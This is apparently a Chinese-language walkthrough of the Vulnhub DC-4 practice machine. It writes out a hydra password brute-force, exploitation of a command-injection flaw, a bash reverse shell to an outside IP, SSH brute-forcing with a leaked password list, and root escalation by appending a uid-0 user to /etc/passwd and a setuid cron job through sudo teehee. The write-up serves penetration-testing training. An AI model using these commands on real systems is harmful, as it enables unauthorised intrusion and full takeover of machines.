Vulnhub -- DC4靶机渗透
Vulnhub — DC4靶机渗透
用nmap扫描ip和端口,发现只开启了22ssh端口和80http端口
打开网页只有一个登录界面
目录爆破没有发现什么有用的,尝试对登录进行弱口令爆破
一开始使用burpsuite,使用一个小字典进行爆破但是没有爆破出来,尝试用一个大字典来爆破,于是用了kali的usr/share/wordlist的rockyou字典,但是由于字典太大了导不进burpsuite,所以用hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.241.160 http-form-post "/login.php:username=^USER^&password=^PASS^:S=logout" -F
介绍一下参数
-l:LOGIN 指定破解的用户,对特定用户破解
-L:FILE指定用户名字典。
-p:PASS小写,指定密码破解,少用,一般是采用密码字典
-P:FILE大写,指定密码字典。
-F:找到第一对登录名或者密码的时候中止破解
http-form-post:登录的方式
路径为ip下的login.php,用户名为先前设定的admin,密码为先前设定的字典
后面是退出的判断语句,默认是没有:S的,代表黑名单,即返回的报文包含:后面的内容则继续爆破,但是现在是S:,我猜测是变为白名单匹配,即返回的内容不是logout则继续匹配,至于logout我猜测是登录成功后会包含有logout的字眼
得出的密码为happy
登录进去后发现似乎有和命令相关的,打开验证
抓包,发现里面传入了命令,尝试修改命令,发现可以正常执行,存在RCE漏洞
既然可以执行命令,就尝试反弹shell
在nc建立本地监听nc -lp 2333
目标机器反弹bash/bin/bash 'bash -i >& /dev/tcp/192.168.1.4/4444 0>&1'
可以看到机器已经上线
尝试打开root,发现打开不了,尝试suid提权
但是没有合适的进程,查看内核
搜索相关漏洞,但是一个都没有搜到
考虑到刚才检测到了靶机开放了22ssh端口,所以应该是可以使用ssh爆破,所以先查看用户
可以看到有三个用户,猜测其中一个应该可以用来ssh登录,到不同用户的目录看一下
可以看到jim有一个叫做old-passwords.bak的文件,这个提示也太明显了
将里面的文件全部复制出来到文件里面,再次使用hydra爆破,密码为jibril04
登陆成功,还提示有个邮件
邮件内容(发现内容透露出了Exim 4.89版本,可以用这个提权)
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
(envelope-from <charles@dc-4>)
id 1hCjIX-0000kO-Qt
for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O
Hi Jim,
I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.
Password is: ^xHhA&hvim0y
See ya,
Charles
要点
charles@dc-4,密码^xHhA&hvim0y,好家伙,搁着套娃
登陆成功后依旧不是root权限,尝试suid提权失败,输入命令
sudo -l
-l 列出目前用户可执行与无法执行的指令。
发现charles可以不需要密码就运行teehee,查看这个程序的作用
发现他有写入的权限,那么我们有三种方法
-
修改/etc/passwd的内容,增加一个新的root用户
-
和之前一样增加定时任务写入提权相关的命令,并修改定时任务的权限以root权限执行
-
若定时任务内有脚本且可以被修改则可以修改脚本内容为相关命令
-
修改/etc/passwd的内容,增加一个新的root用户
创建一个uid和gid都为0的用户echo "wang::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
然后就可以su wang
切换到wang用户,但是不知道为什么要我输入密码
由于teehee只能写入不能修改,所以没法修改当前用户的权限,只能添加一个新用户 -
和之前一样增加定时任务写入提权相关的命令,并修改定时任务的权限以root权限执行
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
五个*代表着这个定时任务默认没分钟都会执行通过执行的脚本将/bin/sh的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限,然后运行sh
我尝试echo "* * * * * root chmod 4777 /bin/bash" | sudo teehee -a /etc/crontab
,运行bash’后不知道为什么不是管理员权限 -
若定时任务内有脚本且可以被修改则可以修改脚本内容为相关命令
但是由于两个用户的定时任务都没有脚本可以修改,所以此方法无效